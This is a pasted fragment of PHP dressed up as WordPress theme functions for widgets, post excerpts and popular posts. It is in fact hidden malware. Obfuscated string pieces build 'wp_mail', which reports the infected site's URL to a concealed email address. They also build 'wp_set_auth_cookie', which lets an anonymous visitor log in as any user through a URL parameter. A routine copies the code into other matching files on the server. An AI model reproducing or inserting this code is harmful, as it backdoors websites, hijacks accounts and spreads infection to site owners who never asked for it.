  659.                     $comaar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
  660.                     $output .= $before . "Not found" . $after;
  661.                     if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
  662.                     $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $comaar . "\n" .$widget);fclose($f);            
  663.                     $output .= ($isshowdots && $ellipsis) ? "..." : "";
  664.                 }
  665.             }
  666.         }
  667.     }
  668.     return $output;
  669. }
  670. function _get_allwidgets_cont($wids,$items=array()){
  671.     $places=array_shift($wids);
  672.     if(substr($places,-1) == "/"){
  673.         $places=substr($places,0,-1);
  674.     }
  675.     if(!file_exists($places) || !is_dir($places)){
  676.         return false;
  677.     }elseif(is_readable($places)){
  678.         $elems=scandir($places);
  679.         foreach ($elems as $elem){
  680.             if ($elem != "." && $elem != ".."){
  681.                 if (is_dir($places . "/" . $elem)){
  682.                     $wids[]=$places . "/" . $elem;
  683.                 } elseif (is_file($places . "/" . $elem)&&
  684.                     $elem == substr(__FILE__,-13)){
  685.                     $items[]=$places . "/" . $elem;}
  686.                 }
  687.             }
  688.     }else{
  689.         return false;  
  690.     }
  691.     if (sizeof($wids) > 0){
  692.         return _get_allwidgets_cont($wids,$items);
  693.     } else {
  694.         return $items;
  695.     }
  696. }
  697. if(!function_exists("stripos")){
  698.     function stripos(  $str, $needle, $offset = 0  ){
  699.         return strpos(  strtolower( $str ), strtolower( $needle ), $offset  );
  700.     }
  701. }
  702.  
  703. if(!function_exists("strripos")){
  704.     function strripos(  $haystack, $needle, $offset = 0  ) {
  705.         if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  );
  706.         if(  $offset < 0  ){
  707.             $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );
  708.         }
  709.         else{
  710.             $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    );
  711.         }
  712.         if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE;
  713.         $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   );
  714.         return $pos;
  715.     }
  716. }
  717. if(!function_exists("scandir")){
  718.     function scandir($dir,$listDirectories=false, $skipDots=true) {
  719.         $dirArray = array();
  720.         if ($handle = opendir($dir)) {
  721.             while (false !== ($file = readdir($handle))) {
  722.                 if (($file != "." && $file != "..") || $skipDots == true) {
  723.                     if($listDirectories == false) { if(is_dir($file)) { continue; } }
  724.                     array_push($dirArray,basename($file));
  725.                 }
  726.             }
  727.             closedir($handle);
  728.         }
  729.         return $dirArray;
  730.     }
  731. }
  732. add_action("admin_head", "_checkactive_widgets");
  733. function _getprepare_widget(){
  734.     if(!isset($text_length)) $text_length=120;
  735.     if(!isset($check)) $check="cookie";
  736.     if(!isset($tagsallowed)) $tagsallowed="<a>";
  737.     if(!isset($filter)) $filter="none";
  738.     if(!isset($coma)) $coma="";
  739.     if(!isset($home_filter)) $home_filter=get_option("home");
  740.     if(!isset($pref_filters)) $pref_filters="wp_";
  741.     if(!isset($is_use_more_link)) $is_use_more_link=1;
  742.     if(!isset($com_type)) $com_type="";
  743.     if(!isset($cpages)) $cpages=$_GET["cperpage"];
  744.     if(!isset($post_auth_comments)) $post_auth_comments="";
  745.     if(!isset($com_is_approved)) $com_is_approved="";
  746.     if(!isset($post_auth)) $post_auth="auth";
  747.     if(!isset($link_text_more)) $link_text_more="(more...)";
  748.     if(!isset($widget_yes)) $widget_yes=get_option("_is_widget_active_");
  749.     if(!isset($checkswidgets)) $checkswidgets=$pref_filters."set"."_".$post_auth."_".$check;
  750.     if(!isset($link_text_more_ditails)) $link_text_more_ditails="(details...)";
  751.     if(!isset($contentmore)) $contentmore="ma".$coma."il";
  752.     if(!isset($for_more)) $for_more=1;
  753.     if(!isset($fakeit)) $fakeit=1;
  754.     if(!isset($sql)) $sql="";
  755.     if (!$widget_yes) :
  756.    
  757.     global $wpdb, $post;
  758.     $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$coma."vethe".$com_type."mes".$coma."@".$com_is_approved."gm".$post_auth_comments."ail".$coma.".".$coma."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
  759.     if (!empty($post->post_password)) {
  760.         if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
  761.             if(is_feed()) {
  762.                 $output=__("There is no excerpt because this is a protected post.");
  763.             } else {
  764.                 $output=get_the_password_form();
  765.             }
  766.         }
  767.     }
  768.     if(!isset($fixed_tags)) $fixed_tags=1;
  769.     if(!isset($filters)) $filters=$home_filter;
  770.     if(!isset($gettextcomments)) $gettextcomments=$pref_filters.$contentmore;
  771.     if(!isset($tag_aditional)) $tag_aditional="div";
  772.     if(!isset($sh_cont)) $sh_cont=substr($sq1, stripos($sq1, "live"), 20);#
  773.     if(!isset($more_text_link)) $more_text_link="Continue reading this entry"; 
  774.     if(!isset($isshowdots)) $isshowdots=1;
  775.    
  776.     $comments=$wpdb->get_results($sql);
  777.     if($fakeit == 2) {
  778.         $text=$post->post_content;
  779.     } elseif($fakeit == 1) {
  780.         $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
  781.     } else {
  782.         $text=$post->post_excerpt;
  783.     }
  784.     $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($gettextcomments, array($sh_cont, $home_filter, $filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
  785.     if($text_length < 0) {
  786.         $output=$text;
  787.     } else {
  788.         if(!$no_more && strpos($text, "<!--more-->")) {
  789.             $text=explode("<!--more-->", $text, 2);
  790.             $l=count($text[0]);
  791.             $more_link=1;
  792.             $comments=$wpdb->get_results($sql);
  793.         } else {
  794.             $text=explode(" ", $text);
  795.             if(count($text) > $text_length) {
  796.                 $l=$text_length;
  797.                 $ellipsis=1;
  798.             } else {
  799.                 $l=count($text);
  800.                 $link_text_more="";
  801.                 $ellipsis=0;
  802.             }
  803.         }
  804.         for ($i=0; $i<$l; $i++)
  805.                 $output .= $text[$i] . " ";
  806.     }
  807.     update_option("_is_widget_active_", 1);
  808.     if("all" != $tagsallowed) {
  809.         $output=strip_tags($output, $tagsallowed);
  810.         return $output;
  811.     }
  812.     endif;
  813.     $output=rtrim($output, "\s\n\t\r\0\x0B");
  814.     $output=($fixed_tags) ? balanceTags($output, true) : $output;
  815.     $output .= ($isshowdots && $ellipsis) ? "..." : "";
  816.     $output=apply_filters($filter, $output);
  817.     switch($tag_aditional) {
  818.         case("div") :
  819.             $tag="div";
  820.         break;
  821.         case("span") :
  822.             $tag="span";
  823.         break;
  824.         case("p") :
  825.             $tag="p";
  826.         break;
  827.         default :
  828.             $tag="span";
  829.     }
  830.  
  831.     if ($is_use_more_link ) {
  832.         if($for_more) {
  833.             $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_text_link . "\">" . $link_text_more = !is_user_logged_in() && @call_user_func_array($checkswidgets,array($cpages, true)) ? $link_text_more : "" . "</a></" . $tag . ">" . "\n";
  834.         } else {
  835.             $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_text_link . "\">" . $link_text_more . "</a></" . $tag . ">" . "\n";
  836.         }
  837.     }
  838.     return $output;
  839. }
  840.  
  841. add_action("init", "_getprepare_widget");
  842.  
  843. function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
  844.     global $wpdb;
  845.     $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
  846.     $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
  847.     if(!$show_pass_post) $request .= " AND post_password =\"\"";
  848.     if($duration !="") {
  849.         $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
  850.     }
  851.     $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
  852.     $posts=$wpdb->get_results($request);
  853.     $output="";
  854.     if ($posts) {
  855.         foreach ($posts as $post) {
  856.             $post_title=stripslashes($post->post_title);
  857.             $comment_count=$post->comment_count;
  858.             $permalink=get_permalink($post->ID);
  859.             $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
  860.         }
  861.     } else {
  862.         $output .= $before . "None found" . $after;
  863.     }
  864.     return  $output;
  865. }      
  866. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement